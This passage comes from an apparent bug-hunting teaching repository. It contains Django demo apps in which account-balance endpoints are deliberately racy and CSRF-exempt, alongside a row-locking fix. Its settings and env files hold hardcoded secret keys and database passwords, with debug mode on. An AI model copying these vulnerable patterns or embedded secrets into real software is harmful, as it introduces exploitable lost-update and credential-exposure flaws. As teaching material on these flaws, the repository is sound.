29 | block to run, then we can expect race conditions to occur.
30 |
31 | Typically, these kinds of things won't be found in development (unless you
32 | have really experienced dev teams with good code review skills).
33 |
34 | Note: We are not using using F() expressions due to complexities in the
35 | business logic. The random_delay represents processing the data related
36 | to the account and the request. During this time, we really don't want
37 | anything else to be using the account data (due to the risk of reading
38 | stale data).
39 | """
40 | try:
41 | account_id = int(request.POST["account"])
42 | amount = int(request.POST["amount"])
43 | if amount < 0:
44 | raise ValueError
45 | except (KeyError, ValueError):
46 | return HttpResponse(status=400)
47 |
48 | with transaction.atomic():
49 | try:
50 | # Possibly reading stale data:
51 | account = Account.objects.get(id=account_id)
52 | except Account.DoesNotExist:
53 | return HttpResponse(status=404)
54 | # Enough time for another request to be made or for the data read to
55 | # become stale:
56 | random_delay()
57 | account.balance += amount
58 | Transaction.objects.create(account=account, amount=amount) # Ok.
59 | account.save() # Overwritting possible.
60 |
61 | return HttpResponse(200)
62 |
63 |
64 | @csrf_exempt
65 | def non_atomic_long_delay(request: HttpRequest) -> HttpResponse:
66 | """
67 | This is more or less the same as atomic_long_delay. The only difference is
68 | that now the delay is between when we read v/s when we write instead of
69 | when we read v/s when we commit the transaction.
70 |
71 | In both of these examples we write at the very end of the transaction, so
72 | really, both of these functions are the exact same. I want to show that
73 | atomic transactions the real issue here - it's the delay b/w read and save.
74 | """
75 | try:
76 | account_id = int(request.POST["account"])
77 | amount = int(request.POST["amount"])
78 | if amount < 0:
79 | raise ValueError
80 | except (KeyError, ValueError):
81 | return HttpResponse(status=400)
82 |
83 | try:
84 | account = Account.objects.get(id=account_id)
85 | except Account.DoesNotExist:
86 | return HttpResponse(status=404)
87 | random_delay()
88 | account.balance += amount
89 | Transaction.objects.create(account=account, amount=amount)
90 | account.save()
91 |
92 | return HttpResponse(200)
93 |
94 |
95 | @csrf_exempt
96 | def atomic_no_delay(request: HttpRequest) -> HttpResponse:
97 | """
98 | Due to the absence of a large delay, the window for the race condition to
99 | occur is considerably reduced and you would need the request frequency to
100 | be much higher (and with more gunicorn workers to handle them in parallel)
101 | for a race condition to be triggered.
102 |
103 | Race conditions are now unlikely to occur but still very much possible.
104 |
105 | If you're only using 1 sync gunicorn worker then race conditions are not
106 | possible just like in the atomic_long_delay example; but you'll have
107 | terrible throughput and most requests would probably time out during high
108 | load.
109 | """
110 | try:
111 | account_id = int(request.POST["account"])
112 | amount = int(request.POST["amount"])
113 | if amount < 0:
114 | raise ValueError
115 | except (KeyError, ValueError):
116 | return HttpResponse(status=400)
117 |
118 | with transaction.atomic():
119 | try:
120 | account = Account.objects.get(id=account_id)
121 | except Account.DoesNotExist:
122 | return HttpResponse(status=404)
123 | account.balance += amount
124 | Transaction.objects.create(account=account, amount=amount)
125 | account.save()
126 |
127 | return HttpResponse(200)
128 |
129 |
130 | @csrf_exempt
131 | def non_atomic_no_delay(request: HttpRequest) -> HttpResponse:
132 | """
133 | Effectively the same as atomic_no_delay. Just like how atomic_long_delay
134 | and non_atomic_long_delay are effectively the same.
135 | """
136 | try:
137 | account_id = int(request.POST["account"])
138 | amount = int(request.POST["amount"])
139 | if amount < 0:
140 | raise ValueError
141 | except (KeyError, ValueError):
142 | return HttpResponse(status=400)
143 |
144 | try:
145 | account = Account.objects.get(id=account_id)
146 | except Account.DoesNotExist:
147 | return HttpResponse(status=404)
148 | account.balance += amount
149 | Transaction.objects.create(account=account, amount=amount)
150 | account.save()
151 |
152 | return HttpResponse(200)
153 |
154 |
155 | @csrf_exempt
156 | def row_locking_atomic_long_delay(request: HttpRequest) -> HttpResponse:
157 | """
158 | Here we demonstrate that even if we did have a long delay between when we
159 | read v/s when we commit the transaction, if we lock the row we are
160 | operating on, then race conditions will never occur.
161 |
162 | This isn't a silver bullet since by locking the row we're preventing every
163 | other endpoint depending on it from working (even the read-only endpoints).
164 | This could cause serious issues if the row is needed in multiple endpoints.
165 |
166 | select_for_update cannot be used outside of an SQL transaction (so atomic
167 | is necessary).
168 |
169 | Race conditions are now impossible.
170 | """
171 | try:
172 | account_id = int(request.POST["account"])
173 | amount = int(request.POST["amount"])
174 | if amount < 0:
175 | raise ValueError
176 | except (KeyError, ValueError):
177 | return HttpResponse(status=400)
178 |
179 | with transaction.atomic():
180 | try:
181 | account = Account.objects.select_for_update().get(id=account_id)
182 | except Account.DoesNotExist:
183 | return HttpResponse(status=404)
184 | random_delay()
185 | account.balance += amount
186 | Transaction.objects.create(account=account, amount=amount)
187 | account.save()
188 |
189 | return HttpResponse(200)
190 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_live/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_live/__init__.py
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_live/__pycache__/__init__.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_live/__pycache__/__init__.cpython-310.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_live/__pycache__/settings.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_live/__pycache__/settings.cpython-310.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_live/__pycache__/urls.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_live/__pycache__/urls.cpython-310.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_live/__pycache__/wsgi.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_live/__pycache__/wsgi.cpython-310.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_live/asgi.py:
--------------------------------------------------------------------------------
1 | """
2 | ASGI config for race_live project.
3 |
4 | It exposes the ASGI callable as a module-level variable named ``application``.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/
8 | """
9 |
10 | import os
11 |
12 | from django.core.asgi import get_asgi_application
13 |
14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'race_live.settings')
15 |
16 | application = get_asgi_application()
17 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_live/settings.py:
--------------------------------------------------------------------------------
1 | """
2 | Django settings for race_live project.
3 |
4 | Generated by 'django-admin startproject' using Django 4.0.6.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/4.0/topics/settings/
8 |
9 | For the full list of settings and their values, see
10 | https://docs.djangoproject.com/en/4.0/ref/settings/
11 | """
12 |
13 | from pathlib import Path
14 |
15 | # Build paths inside the project like this: BASE_DIR / 'subdir'.
16 | BASE_DIR = Path(__file__).resolve().parent.parent
17 |
18 |
19 | # Quick-start development settings - unsuitable for production
20 | # See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/
21 |
22 | # SECURITY WARNING: keep the secret key used in production secret!
23 | SECRET_KEY = 'django-insecure-z#cmjco0@lfia6b!_)j90g5okho9dc^od9xh5(ybtz)ij+y25('
24 |
25 | # SECURITY WARNING: don't run with debug turned on in production!
26 | DEBUG = True
27 |
28 | ALLOWED_HOSTS = ["*"]
29 |
30 |
31 | # Application definition
32 |
33 | INSTALLED_APPS = [
34 | 'django.contrib.admin',
35 | 'django.contrib.auth',
36 | 'django.contrib.contenttypes',
37 | 'django.contrib.sessions',
38 | 'django.contrib.messages',
39 | 'django.contrib.staticfiles',
40 | 'race_app'
41 | ]
42 |
43 | MIDDLEWARE = [
44 | 'django.middleware.security.SecurityMiddleware',
45 | 'django.contrib.sessions.middleware.SessionMiddleware',
46 | 'django.middleware.common.CommonMiddleware',
47 | 'django.middleware.csrf.CsrfViewMiddleware',
48 | 'django.contrib.auth.middleware.AuthenticationMiddleware',
49 | 'django.contrib.messages.middleware.MessageMiddleware',
50 | 'django.middleware.clickjacking.XFrameOptionsMiddleware',
51 | ]
52 |
53 | ROOT_URLCONF = 'race_live.urls'
54 |
55 | TEMPLATES = [
56 | {
57 | 'BACKEND': 'django.template.backends.django.DjangoTemplates',
58 | 'DIRS': [BASE_DIR / 'templates']
59 | ,
60 | 'APP_DIRS': True,
61 | 'OPTIONS': {
62 | 'context_processors': [
63 | 'django.template.context_processors.debug',
64 | 'django.template.context_processors.request',
65 | 'django.contrib.auth.context_processors.auth',
66 | 'django.contrib.messages.context_processors.messages',
67 | ],
68 | },
69 | },
70 | ]
71 |
72 | WSGI_APPLICATION = 'race_live.wsgi.application'
73 |
74 |
75 | # Database
76 | # https://docs.djangoproject.com/en/4.0/ref/settings/#databases
77 |
78 | DATABASES = {
79 |
80 | 'default': {
81 | 'ENGINE': 'django.db.backends.postgresql_psycopg2',
82 | 'NAME': "postgres",
83 | 'USER': "postgres",
84 | 'PASSWORD': 'password',
85 | 'HOST': '127.0.0.1',
86 | 'PORT': '5432',
87 |
88 | }
89 |
90 | }
91 | # Password validation
92 | # https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators
93 |
94 | AUTH_PASSWORD_VALIDATORS = [
95 | {
96 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
97 | },
98 | {
99 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
100 | },
101 | {
102 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
103 | },
104 | {
105 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
106 | },
107 | ]
108 |
109 |
110 | # Internationalization
111 | # https://docs.djangoproject.com/en/4.0/topics/i18n/
112 |
113 | LANGUAGE_CODE = 'en-us'
114 |
115 | TIME_ZONE = 'UTC'
116 |
117 | USE_I18N = True
118 |
119 | USE_TZ = True
120 |
121 |
122 | # Static files (CSS, JavaScript, Images)
123 | # https://docs.djangoproject.com/en/4.0/howto/static-files/
124 |
125 | STATIC_URL = 'static/'
126 |
127 | # Default primary key field type
128 | # https://docs.djangoproject.com/en/4.0/ref/settings/#default-auto-field
129 |
130 | DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
131 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_live/urls.py:
--------------------------------------------------------------------------------
1 | """race_live URL Configuration
2 |
3 | The `urlpatterns` list routes URLs to views. For more information please see:
4 | https://docs.djangoproject.com/en/4.0/topics/http/urls/
5 | Examples:
6 | Function views
7 | 1. Add an import: from my_app import views
8 | 2. Add a URL to urlpatterns: path('', views.home, name='home')
9 | Class-based views
10 | 1. Add an import: from other_app.views import Home
11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
12 | Including another URLconf
13 | 1. Import the include() function: from django.urls import include, path
14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
15 | """
16 | from django.contrib import admin
17 | from django.urls import path
18 | from race_app.views import *
19 |
20 | urlpatterns = [
21 | path('admin/', admin.site.urls),
22 | path('novuls', non_atomic_no_delay),
23 | ]
24 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_live/wsgi.py:
--------------------------------------------------------------------------------
1 | """
2 | WSGI config for race_live project.
3 |
4 | It exposes the WSGI callable as a module-level variable named ``application``.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/4.0/howto/deployment/wsgi/
8 | """
9 |
10 | import os
11 |
12 | from django.core.wsgi import get_wsgi_application
13 |
14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'race_live.settings')
15 |
16 | application = get_wsgi_application()
17 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/.env:
--------------------------------------------------------------------------------
1 | COMPOSE_PROJECT_NAME=racy
2 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/.gitignore:
--------------------------------------------------------------------------------
1 | # Directories:
2 | .vscode/
3 | static/
4 | __pycache__/
5 |
6 | # Static:
7 | *.swp
8 | *.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/.idea/inspectionProfiles/Project_Default.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/.idea/inspectionProfiles/profiles_settings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/.idea/racy-django.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/config/django.env:
--------------------------------------------------------------------------------
1 | DJANGO_SECRET_KEY="_#hvs!_k_9@xc6e9y7dx1c(v66e00)^r$+%1m#)!l)4!vjh=o#"
2 | GUNICORN_WORKERS=3
3 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/config/mysql.env:
--------------------------------------------------------------------------------
1 | MYSQL_DATABASE=project
2 | MYSQL_ROOT_PASSWORD=8hZ7LhDQ3HZkyyjS
3 | MYSQL_USER=django
4 | MYSQL_PASSWORD=CLwsJrebTb6e6KjU
5 | MYSQL_HOST=db
6 | MYSQL_PORT=3306
7 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/config/nginx.conf:
--------------------------------------------------------------------------------
1 | upstream application_server {
2 | server app:8000;
3 | }
4 |
5 | server {
6 | listen 80;
7 | server_name app.ir;
8 |
9 | location / {
10 | proxy_pass http://application_server;
11 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
12 | proxy_set_header Host $host;
13 | proxy_redirect off;
14 |
15 | }
16 |
17 | location /static/ {
18 | alias /srv/;
19 | }
20 | }
21 |
22 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.8"
2 |
3 | services:
4 | db:
5 | image: "mysql:5.7"
6 | restart: "always"
7 | env_file:
8 | - "config/mysql.env"
9 | expose:
10 | - "3306"
11 | volumes:
12 | - "db:/var/lib/mysql"
13 |
14 | app:
15 | build: "project/"
16 | env_file:
17 | - "config/mysql.env"
18 | - "config/django.env"
19 | expose:
20 | - "8000"
21 | volumes:
22 | - "./project:/usr/src/app"
23 | depends_on:
24 | - "db"
25 |
26 | server:
27 | image: "nginx:1.19-alpine"
28 | restart: "always"
29 | ports:
30 | - "80:80"
31 | volumes:
32 | - "./project/static:/srv"
33 | - "./config/nginx.conf:/etc/nginx/conf.d/default.conf"
34 | depends_on:
35 | - "app"
36 | # We might need to look into using something like wait-for to wait for
37 | # gunicorn to start serving on port 8000. Since this isn't leading to
38 | # crashing anything, for the time being I'll just live with waiting a
39 | # few seconds myself.
40 |
41 | volumes:
42 | db:
43 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.8
2 | ENV PYTHONUNBUFFERED 1
3 | ENV PYTHONIOENCODING UTF-8
4 |
5 | WORKDIR /usr/src/app
6 | COPY . .
7 | RUN pip install -r requirements.txt
8 | EXPOSE 8000
9 | CMD ["sh", "scripts/entrypoint.sh" ]
10 |
11 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/demo/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/racy-django/project/demo/__init__.py
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/demo/admin.py:
--------------------------------------------------------------------------------
1 | from django.contrib import admin
2 |
3 | from .models import Account, Transaction
4 |
5 |
6 | class TransactionInline(admin.TabularInline):
7 | extra = 0
8 | model = Transaction
9 |
10 |
11 | class AccountAdmin(admin.ModelAdmin):
12 | inlines = [TransactionInline]
13 |
14 |
15 | admin.site.register(Transaction)
16 | admin.site.register(Account, AccountAdmin)
17 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/demo/apps.py:
--------------------------------------------------------------------------------
1 | from django.apps import AppConfig
2 |
3 |
4 | class DemoConfig(AppConfig):
5 | name: str = "demo"
6 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/demo/migrations/0001_initial.py:
--------------------------------------------------------------------------------
1 | # Generated by Django 3.1.5 on 2021-01-17 13:00
2 |
3 | from django.db import migrations, models
4 | import django.db.models.deletion
5 |
6 |
7 | class Migration(migrations.Migration):
8 |
9 | initial = True
10 |
11 | dependencies = [
12 | ]
13 |
14 | operations = [
15 | migrations.CreateModel(
16 | name='Account',
17 | fields=[
18 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
19 | ('balance', models.IntegerField(default=0)),
20 | ],
21 | ),
22 | migrations.CreateModel(
23 | name='Transaction',
24 | fields=[
25 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
26 | ('amount', models.IntegerField(default=0)),
27 | ('timestamp', models.DateTimeField(auto_now=True)),
28 | ('account', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='demo.account')),
29 | ],
30 | ),
31 | ]
32 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/demo/migrations/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/racy-django/project/demo/migrations/__init__.py
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/demo/models.py:
--------------------------------------------------------------------------------
1 | from django.db import models
2 |
3 |
4 | class Account(models.Model):
5 | balance = models.IntegerField(default=0)
6 |
7 | def __str__(self):
8 | return f"Account #{self.id}"
9 |
10 | class Transaction(models.Model):
11 | account = models.ForeignKey(Account, on_delete=models.SET_NULL, null=True)
12 | amount = models.IntegerField(default=0)
13 | timestamp = models.DateTimeField(auto_now=True)
14 |
15 | def __str__(self):
16 | return f"<{self.account_id}, {self.amount}, {self.timestamp.isoformat()}>"
17 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/demo/urls.py:
--------------------------------------------------------------------------------
1 |
2 | from django.urls import path
3 |
4 | from . import views
5 |
6 | urlpatterns = [
7 | path("atomic_long_delay/", views.atomic_long_delay),
8 | path("non_atomic_long_delay/", views.non_atomic_long_delay),
9 | path("atomic_no_delay/", views.atomic_no_delay),
10 | path("non_atomic_no_delay/", views.non_atomic_no_delay),
11 | path("row_locking_atomic_long_delay/", views.row_locking_atomic_long_delay),
12 | ]
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/demo/views.py:
--------------------------------------------------------------------------------
1 | import random
2 | import time
3 |
4 | from django.db import transaction
5 | from django.http import HttpRequest, HttpResponse
6 | # Only because this is a quick and simple demo
7 | from django.views.decorators.csrf import csrf_exempt
8 |
9 | from .models import Account, Transaction
10 |
11 |
12 | def random_delay() -> int:
13 | # Simulate random factors such as processing and validating the data, and
14 | # this one stupid network call that I was making for realtime related stuff
15 | # (which should have been put in a queue and delegated to a worker process).
16 | time.sleep(random.randint(3, 10))
17 |
18 |
19 | @csrf_exempt
20 | def atomic_long_delay(request: HttpRequest) -> HttpResponse:
21 | """
22 | In this example, we:
23 | - Use an atomic code block
24 | - Introduce a long (possibly random) time gap between when we read
25 | v/s when we commit the transaction (end of the atomic code block).
26 | - Don't use row locking.
27 |
28 | In this case if we have more than 1 (sync) gunicorn worker running and
29 | the frequency of requests to this endpoint (or any endpoint modifying the
30 | account balance) is greater than the time it takes for the atomic code
31 | block to run, then we can expect race conditions to occur.
32 |
33 | Typically, these kinds of things won't be found in development (unless you
34 | have really experienced dev teams with good code review skills).
35 |
36 | Note: We are not using using F() expressions due to complexities in the
37 | business logic. The random_delay represents processing the data related
38 | to the account and the request. During this time, we really don't want
39 | anything else to be using the account data (due to the risk of reading
40 | stale data).
41 | """
42 | try:
43 | account_id = int(request.POST["account"])
44 | amount = int(request.POST["amount"])
45 | if amount < 0:
46 | raise ValueError
47 | except (KeyError, ValueError):
48 | return HttpResponse(status=400)
49 |
50 | with transaction.atomic():
51 | try:
52 | # Possibly reading stale data:
53 | account = Account.objects.get(id=account_id)
54 | except Account.DoesNotExist:
55 | return HttpResponse(status=404)
56 | # Enough time for another request to be made or for the data read to
57 | # become stale:
58 | random_delay()
59 | account.balance += amount
60 | Transaction.objects.create(account=account, amount=amount) # Ok.
61 | account.save() # Overwritting possible.
62 |
63 | return HttpResponse(200)
64 |
65 |
66 | @csrf_exempt
67 | def non_atomic_long_delay(request: HttpRequest) -> HttpResponse:
68 | """
69 | This is more or less the same as atomic_long_delay. The only difference is
70 | that now the delay is between when we read v/s when we write instead of
71 | when we read v/s when we commit the transaction.
72 |
73 | In both of these examples we write at the very end of the transaction, so
74 | really, both of these functions are the exact same. I want to show that
75 | atomic transactions the real issue here - it's the delay b/w read and save.
76 | """
77 | try:
78 | account_id = int(request.POST["account"])
79 | amount = int(request.POST["amount"])
80 | if amount < 0:
81 | raise ValueError
82 | except (KeyError, ValueError):
83 | return HttpResponse(status=400)
84 |
85 | try:
86 | account = Account.objects.get(id=account_id)
87 | except Account.DoesNotExist:
88 | return HttpResponse(status=404)
89 | random_delay()
90 | account.balance += amount
91 | Transaction.objects.create(account=account, amount=amount)
92 | account.save()
93 |
94 | return HttpResponse(200)
95 |
96 |
97 | @csrf_exempt
98 | def atomic_no_delay(request: HttpRequest) -> HttpResponse:
99 | """
100 | Due to the absence of a large delay, the window for the race condition to
101 | occur is considerably reduced and you would need the request frequency to
102 | be much higher (and with more gunicorn workers to handle them in parallel)
103 | for a race condition to be triggered.
104 |
105 | Race conditions are now unlikely to occur but still very much possible.
106 |
107 | If you're only using 1 sync gunicorn worker then race conditions are not
108 | possible just like in the atomic_long_delay example; but you'll have
109 | terrible throughput and most requests would probably time out during high
110 | load.
111 | """
112 | try:
113 | account_id = int(request.POST["account"])
114 | amount = int(request.POST["amount"])
115 | if amount < 0:
116 | raise ValueError
117 | except (KeyError, ValueError):
118 | return HttpResponse(status=400)
119 |
120 | with transaction.atomic():
121 | try:
122 | account = Account.objects.get(id=account_id)
123 | except Account.DoesNotExist:
124 | return HttpResponse(status=404)
125 | account.balance += amount
126 | Transaction.objects.create(account=account, amount=amount)
127 | account.save()
128 |
129 | return HttpResponse(200)
130 |
131 |
132 | @csrf_exempt
133 | def non_atomic_no_delay(request: HttpRequest) -> HttpResponse:
134 | """
135 | Effectively the same as atomic_no_delay. Just like how atomic_long_delay
136 | and non_atomic_long_delay are effectively the same.
137 | """
138 | try:
139 | account_id = int(request.POST["account"])
140 | amount = int(request.POST["amount"])
141 | if amount < 0:
142 | raise ValueError
143 | except (KeyError, ValueError):
144 | return HttpResponse(status=400)
145 |
146 | try:
147 | account = Account.objects.get(id=account_id)
148 | except Account.DoesNotExist:
149 | return HttpResponse(status=404)
150 | account.balance += amount
151 | Transaction.objects.create(account=account, amount=amount)
152 | account.save()
153 |
154 | return HttpResponse(200)
155 |
156 |
157 | @csrf_exempt
158 | def row_locking_atomic_long_delay(request: HttpRequest) -> HttpResponse:
159 | """
160 | Here we demonstrate that even if we did have a long delay between when we
161 | read v/s when we commit the transaction, if we lock the row we are
162 | operating on, then race conditions will never occur.
163 |
164 | This isn't a silver bullet since by locking the row we're preventing every
165 | other endpoint depending on it from working (even the read-only endpoints).
166 | This could cause serious issues if the row is needed in multiple endpoints.
167 |
168 | select_for_update cannot be used outside of an SQL transaction (so atomic
169 | is necessary).
170 |
171 | Race conditions are now impossible.
172 | """
173 | try:
174 | account_id = int(request.POST["account"])
175 | amount = int(request.POST["amount"])
176 | if amount < 0:
177 | raise ValueError
178 | except (KeyError, ValueError):
179 | return HttpResponse(status=400)
180 |
181 | with transaction.atomic():
182 | try:
183 | account = Account.objects.select_for_update().get(id=account_id)
184 | except Account.DoesNotExist:
185 | return HttpResponse(status=404)
186 | random_delay()
187 | account.balance += amount
188 | Transaction.objects.create(account=account, amount=amount)
189 | account.save()
190 |
191 | return HttpResponse(200)
192 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/manage.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | """Django's command-line utility for administrative tasks."""
3 | import os
4 | import sys
5 |
6 |
7 | def main():
8 | """Run administrative tasks."""
9 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings')
10 | try:
11 | from django.core.management import execute_from_command_line
12 | except ImportError as exc:
13 | raise ImportError(
14 | "Couldn't import Django. Are you sure it's installed and "
15 | "available on your PYTHONPATH environment variable? Did you "
16 | "forget to activate a virtual environment?"
17 | ) from exc
18 | execute_from_command_line(sys.argv)
19 |
20 |
21 | if __name__ == '__main__':
22 | main()
23 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/project/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/racy-django/project/project/__init__.py
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/project/asgi.py:
--------------------------------------------------------------------------------
1 | """
2 | ASGI config for project project.
3 |
4 | It exposes the ASGI callable as a module-level variable named ``application``.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/
8 | """
9 |
10 | import os
11 |
12 | from django.core.asgi import get_asgi_application
13 |
14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings')
15 |
16 | application = get_asgi_application()
17 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/project/settings.py:
--------------------------------------------------------------------------------
1 | """
2 | Django settings for project project.
3 |
4 | Generated by 'django-admin startproject' using Django 3.1.5.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/3.1/topics/settings/
8 |
9 | For the full list of settings and their values, see
10 | https://docs.djangoproject.com/en/3.1/ref/settings/
11 | """
12 |
13 | import os
14 | from pathlib import Path
15 |
16 | # Build paths inside the project like this: BASE_DIR / 'subdir'.
17 | BASE_DIR = Path(__file__).resolve().parent.parent
18 |
19 |
20 | # Quick-start development settings - unsuitable for production
21 | # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/
22 |
23 | # SECURITY WARNING: keep the secret key used in production secret!
24 | SECRET_KEY = os.environ['DJANGO_SECRET_KEY']
25 |
26 | # SECURITY WARNING: don't run with debug turned on in production!
27 | DEBUG = True
28 |
29 | ALLOWED_HOSTS = []
30 |
31 |
32 | # Application definition
33 |
34 | INSTALLED_APPS = [
35 | 'django.contrib.admin',
36 | 'django.contrib.auth',
37 | 'django.contrib.contenttypes',
38 | 'django.contrib.sessions',
39 | 'django.contrib.messages',
40 | 'django.contrib.staticfiles',
41 | 'demo',
42 | ]
43 |
44 | MIDDLEWARE = [
45 | 'django.middleware.security.SecurityMiddleware',
46 | 'django.contrib.sessions.middleware.SessionMiddleware',
47 | 'django.middleware.common.CommonMiddleware',
48 | 'django.middleware.csrf.CsrfViewMiddleware',
49 | 'django.contrib.auth.middleware.AuthenticationMiddleware',
50 | 'django.contrib.messages.middleware.MessageMiddleware',
51 | 'django.middleware.clickjacking.XFrameOptionsMiddleware',
52 | ]
53 |
54 | ROOT_URLCONF = 'project.urls'
55 |
56 | TEMPLATES = [
57 | {
58 | 'BACKEND': 'django.template.backends.django.DjangoTemplates',
59 | 'DIRS': [],
60 | 'APP_DIRS': True,
61 | 'OPTIONS': {
62 | 'context_processors': [
63 | 'django.template.context_processors.debug',
64 | 'django.template.context_processors.request',
65 | 'django.contrib.auth.context_processors.auth',
66 | 'django.contrib.messages.context_processors.messages',
67 | ],
68 | },
69 | },
70 | ]
71 |
72 | WSGI_APPLICATION = 'project.wsgi.application'
73 |
74 |
75 | # Database
76 | # https://docs.djangoproject.com/en/3.1/ref/settings/#databases
77 |
78 | DATABASES = {
79 | 'default': {
80 | 'ENGINE': 'django.db.backends.mysql',
81 | 'NAME': os.environ["MYSQL_DATABASE"],
82 | 'USER': os.environ["MYSQL_USER"],
83 | 'PASSWORD': os.environ["MYSQL_PASSWORD"],
84 | 'HOST': os.environ["MYSQL_HOST"],
85 | 'PORT': os.environ["MYSQL_PORT"],
86 | }
87 | }
88 |
89 |
90 | # Password validation
91 | # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators
92 |
93 | AUTH_PASSWORD_VALIDATORS = [
94 | {
95 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
96 | },
97 | {
